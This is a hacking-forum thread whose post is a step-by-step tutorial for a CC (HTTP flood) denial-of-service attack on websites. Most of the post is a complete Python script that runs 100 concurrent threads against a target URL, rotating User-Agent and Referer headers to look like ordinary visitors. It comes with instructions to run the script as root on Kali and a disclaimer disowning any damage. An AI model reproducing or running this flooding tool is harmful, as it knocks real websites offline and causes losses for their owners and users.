Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Poll: Can the code run after these 5 steps?
This poll is closed.
yes
0%
0 0%
no
0%
0 0%
Total 0 vote(s) 0%
* You voted for this item. [Show Results]

CC Attack (Challenge Collapsar attack)

😵😵😵use kali vm:and need :
1.python3.13(or more higher Version)
2.smart brain(just joke)
3.root/kali password(often passwd:kali)



do in kali:
1:sudo su


2:nano cc.py


3:paste:
import requests
import random
import threading
import time

ua_pool = [
"Mozilla 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 120.0.0.0 Safari 537.36",
"Mozilla 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 119.0.0.0 Safari 537.36",
"Mozilla 5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 120.0.0.0 Safari 537.36",
"Mozilla 5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko 20100101 Firefox 121.0",
"Mozilla 5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit 605.1.15 (KHTML, like Gecko) Version 17.1 Safari 605.1.15",
"Mozilla 5.0 (X11; Linux x86_64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 120.0.0.0 Safari 537.36",
"Mozilla 5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit 605.1.15 (KHTML, like Gecko) Version 17.1 Mobile 15E148 Safari 604.1"
]

referer_pool = [
"google search",
"bing search",
"baidu search",
"yahoo search",
""
]

target = "YOUR_TARGET_URL_HERE"
num_threads = 100
stats = {"success": 0, "error": 0, "bytes": 0}
lock = threading.Lock()

def attack():
session = requests.Session()

while True:
headers = {
"User-Agent": random.choice(ua_pool),
"Accept": "text html application xhtml+xml application xml",
"Accept-Language": "zh-CN,zh;en",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1"
}

ref = random.choice(referer_pool)
if ref:
headers["Referer"] = ref

try:
response = session.get(target, headers=headers, timeout=10)

with lock:
stats["success"] += 1
stats["bytes"] += len(response.content)

if stats["success"] % 200 == 0:
mb = stats["bytes"] / 1024 / 1024
print(f"[+] Requests: {stats['success']} | "
f"Errors: {stats['error']} | "
f"Data: {mb:.2f} MB")

except Exception as e:
with lock:
stats["error"] += 1
if stats["error"] % 50 == 0:
print(f"[!] Error count: {stats['error']}")

time.sleep(random.uniform(0.05, 0.2))


print(f"[*] Starting {num_threads} concurrent connections")
print(f"[*] Target: {target}")
print(f"[*] Press Ctrl+C to stop\n")

threads = []
for i in range(num_threads):
t = threading.Thread(target=attack, daemon=True)
t.start()
threads.append(t)
time.sleep(0.01)

try:
while True:
time.sleep(5)
except KeyboardInterrupt:
print("\n[!] Stopping...")
time.sleep(1)
print(f"\n=== Final Statistics ===")
print(f"Successful Requests: {stats['success']}")
print(f"Failed Requests: {stats['error']}")
print(f"Total Data Received: {stats['bytes'] / 1024 / 1024:.2f} MB")
[/code]

4:NOTE: Before running, you need to:
1. Replace "YOUR_TARGET_URL_HERE" with your actual target
2. Fix User-Agent strings (add back slashes in version numbers)
3. Fix referer_pool URLs (replace descriptions with actual URLs)
4. Fix Accept header MIME types

5:python3 cc.py

All website attacks and any resulting damage or financial losses are unrelated to this tutorial. By following the Hack Forums Code of Conduct, once you download the file, you agree to this disclaimer.

-have a good day-
-Motor-m
The member who made this post was warned. In some way it violates our rules or policies.
Please familiarize yourself by reading our Help Documents.
thanks
do you have a telegram account ?
(Feb 4, 2026 01:39 AM)artisanhiku Wrote:  thanks

no,but have a good day。
-Motor-m

(Feb 6, 2026 03:46 AM)lalou12 Wrote:  do you have a telegram account ?

no,any other thing need please till me
-Motor-m
The member who made this post was warned. In some way it violates our rules or policies.
Please familiarize yourself by reading our Help Documents.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by xMoDOct 3, 2014 06:13 PM 9 309 Oct 3, 2014 06:13 PM
Last Post: Zabuza…
by Russian PersonJul 29, 2012 06:54 PM 0 130 Jul 29, 2012 06:54 PM
Last Post: Russian Person
by hf_l33tApr 20, 2011 11:04 AM 15 232 Apr 20, 2011 11:04 AM
Last Post: Inveno